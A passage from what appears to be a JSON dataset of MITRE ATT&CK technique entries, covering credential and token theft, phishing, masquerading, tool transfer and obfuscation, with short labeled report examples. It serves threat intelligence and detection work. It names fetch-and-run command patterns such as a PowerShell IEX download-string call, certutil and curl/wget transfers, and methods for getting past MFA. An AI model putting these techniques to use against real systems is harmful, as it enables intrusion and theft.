example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls. Then, they can send a Spearphishing Link to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through Application Access Token. Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens, allowing them to obtain new access tokens without prompting the user.\nTactics: credential access\nPlatforms: Containers, IaaS, Identity Provider, Office Suite, SaaS\nLabeled report example: | T1528 | Steal Application Access Token | Steal access token for valid account |" + }, + { + "id": "T1539", + "text": "ATT&CK technique: T1539 Steal Web Session Cookie\nDescription: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\nTactics: credential access\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: It can steal credentials such as passwords, website cookies, credit card data, system information, and bitcoin wallet contents." + }, + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: In the recent past, these domains resolved to the following IP addresses, each of which hosted newly registered domains lexically close to legitimate domains and possibly connected to the skimmer attacks." + }, + { + "id": "T1586", + "text": "ATT&CK technique: T1586 Compromise Accounts\nDescription: Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. Establish Accounts), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for Phishing for Information or Phishing.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: * GC threat actors used either compromised or spoofed email addresses." + }, + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: * The use of a legitimate but actor-compromised website is an increase in sophistication compared to TA453’s historical Tactics, Techniques, and Procedures of using actor-controlled credential phishing websites." + }, + { + "id": "T1036", + "text": "ATT&CK technique: T1036 Masquerading\nDescription: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS\nLabeled report example: In most attacks, newly registered domains are typosquatting for legitimate web services, such as Google ads, CDNs, Jquery, Magento, etc., as typosquatting increases the chance of remaining undetected in legitimate traffic." + }, + { + "id": "T1557", + "text": "ATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1078", + "text": "ATT&CK technique: T1078 Valid Accounts\nDescription: Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account. The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: Infostealer is one of the most profitable tools for cybercriminals, as information gathered from systems infected with this malware could be sold in the cybercrime underground or used for credential stuffing attacks." + }, + { + "id": "T1102", + "text": "ATT&CK technique: T1102 Web Service\nDescription: Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: This is a known stealer that uses Discord tokens to steal and send user data to its C&C." + }, + { + "id": "T1583", + "text": "ATT&CK technique: T1583 Acquire Infrastructure\nDescription: Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: Through the intelligence gathered from the Zscaler cloud, we discovered several newly registered domains that use VoIP and voicemail as themes for their credential-stealing phishing campaigns." + }, + { + "id": "T1140", + "text": "ATT&CK technique: T1140 Deobfuscate/Decode Files or Information\nDescription: Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The decoded content shown in Figure 5 uses the meta-refresh tag to redirect the user to the target credential phishing site." + }, + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: In a few variants of the phishing landing pages, we observed that the final landing page used an external JavaScript to display the credential-phishing page in the browser." + }, + { + "id": "T1114", + "text": "ATT&CK technique: T1114 Email Collection\nDescription: Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses. Adversaries can collect or forward email from mail servers or clients.\nTactics: collection\nPlatforms: Linux, Office Suite, Windows, macOS\nLabeled report example: * Email contact stealer" + }, + { + "id": "T1567", + "text": "ATT&CK technique: T1567 Exfiltration Over Web Service\nDescription: Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services. Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nTactics: exfiltration\nPlatforms: ESXi, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: **Abusing legitimate communication and analytics services in skimmer attacks**" + }, + { + "id": "T1555", + "text": "ATT&CK technique: T1555 Credentials from Password Stores\nDescription: Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.\nTactics: credential access\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: It also has a wide range of information-stealing abilities including browser credential theft, keylogging, screen capture, and remote enabling of webcams." + }, + { + "id": "T1189", + "text": "ATT&CK technique: T1189 Drive-by Compromise\nDescription: Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including: * A legitimate website is compromised, allowing adversaries to inject malicious code * Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary * Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising) * Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting) Browser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser. Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. Typical drive-by compromise process: 1. A user visits a website that is used to host the adversary controlled content. 2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes. 3. Upon finding a vulnerable version, exploit code is delivered to the browser. 4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered. Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS\nLabeled report example: Ares is being actively developed and the malware author continues to create and test new plugins and web injects." + }, + { + "id": "T1190", + "text": "ATT&CK technique: T1190 Exploit Public-Facing Application\nDescription: Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration. Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets. On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers. Depending on the flaw being exploited, this may also involve Exploitation for Stealth or Exploitation for Client Execution. If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the Cloud Instance Metadata API), exploit container host access via Escape to Host, or take advantage of weak identity and access management policies. Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.\nTactics: initial access\nPlatforms: Containers, ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: The latest techniques include compromising vulnerable versions of e-commerce platforms, hosting skimmer scripts on CDNs and cloud services, and using newly registered domains (NRDs) lexically close to any legitimate web service or specific e-commerce store to host malicious skimmer scripts." + }, + { + "id": "T1027", + "text": "ATT&CK technique: T1027 Obfuscated Files or Information\nDescription: Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. Adversaries may also use compressed or archived scripts, such as JavaScript. Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. Adversaries may also abuse Command Obfuscation to obscure commands executed from payloads or directly via Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.\nTactics: stealth\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: Figure 6: Obfuscated skimmer script." + }, + { + "id": "T1105", + "text": "ATT&CK technique: T1105 Ingress Tool Transfer\nDescription: Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`). Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures). Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1134.001", + "text": "ATT&CK technique: T1134.001 Token Impersonation/Theft\nDescription: Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread. An adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system. When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.\nTactics: privilege escalation, stealth\nPlatforms: Windows" + }, + { + "id": "T1684.001", + "text": "ATT&CK technique: T1684.001 Impersonation\nDescription: Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via Phishing for Information, Phishing, or Internal Spearphishing) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims. In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables Financial Theft. Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal. Impersonation is typically preceded by reconnaissance techniques such as Gather Victim Identity Information and Gather Victim Org Information as well as acquiring infrastructure such as email domains (i.e. Domains) to substantiate their false identity. There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may Compromise Accounts targeting one organization which can then be used to support impersonation against other entities.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1134", + "text": "ATT&CK technique: T1134 Access Token Manipulation\nDescription: Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. Token Impersonation/Theft) or used to spawn a new process (i.e. Create Process with Token). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.\nTactics: privilege escalation, stealth\nPlatforms: Windows" + }, + { + "id": "T1534", + "text": "ATT&CK technique: T1534 Internal Spearphishing\nDescription: After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating Impersonation. For example, adversaries may leverage Spearphishing Attachment or Spearphishing Link as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through Input Capture on sites that mimic login interfaces. Adversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.\nTactics: lateral movement\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1598", + "text": "ATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1657", + "text": "ATT&CK technique: T1657 Financial Theft\nDescription: Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware, business email compromise (BEC) and fraud, \"pig butchering,\" bank hacking, and exploiting cryptocurrency networks. Adversaries may Compromise Accounts to conduct unauthorized transfers of funds. In the case of business email compromise or email fraud, an adversary may utilize Impersonation of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary. This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft. Extortion by ransomware may occur, for example, when an adversary demands payment from a victim after Data Encrypted for Impact and Exfiltration of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary. Adversaries may use dedicated leak sites to distribute victim data. Due to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as Data Destruction and business disruption.\nTactics: impact\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1606", + "text": "ATT&CK technique: T1606 Forge Web Credentials\nDescription: Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access. Adversaries may generate these credential materials in order to gain access to web resources. This differs from Steal Web Session Cookie, Steal Application Access Token, and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., Temporary Elevated Cloud Access), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain. Once forged, adversaries may use these web credentials to access resources (ex: Use Alternate Authentication Material), which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1588", + "text": "ATT&CK technique: T1588 Obtain Capabilities\nDescription: Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals. In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1134.002", + "text": "ATT&CK technique: T1134.002 Create Process with Token\nDescription: Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas. Creating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via Token Impersonation/Theft or created via Make and Impersonate Token before being used to create a process. While this technique is distinct from Token Impersonation/Theft, the techniques can be used in conjunction where a token is duplicated and then used to create a new process.\nTactics: privilege escalation, stealth\nPlatforms: Windows" + }, + { + "id": "T1550.001", + "text": "ATT&CK technique: T1550.001 Application Access Token\nDescription: Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS). OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application. For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded. With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration. Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account. The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user’s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated. Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\nTactics: lateral movement\nPlatforms: Containers, IaaS, Identity Provider, Office Suite, SaaS" + }, + { + "id": "T1590.003", + "text": "ATT&CK technique: T1590.003 Network Trust Dependencies\nDescription: Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1566.002", + "text": "ATT&CK technique: T1566.002 Spearphishing Link\nDescription: Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\"). URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to Steal Application Access Tokens that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications. These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1134.003", + "text": "ATT&CK technique: T1134.003 Make and Impersonate Token\nDescription: Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the 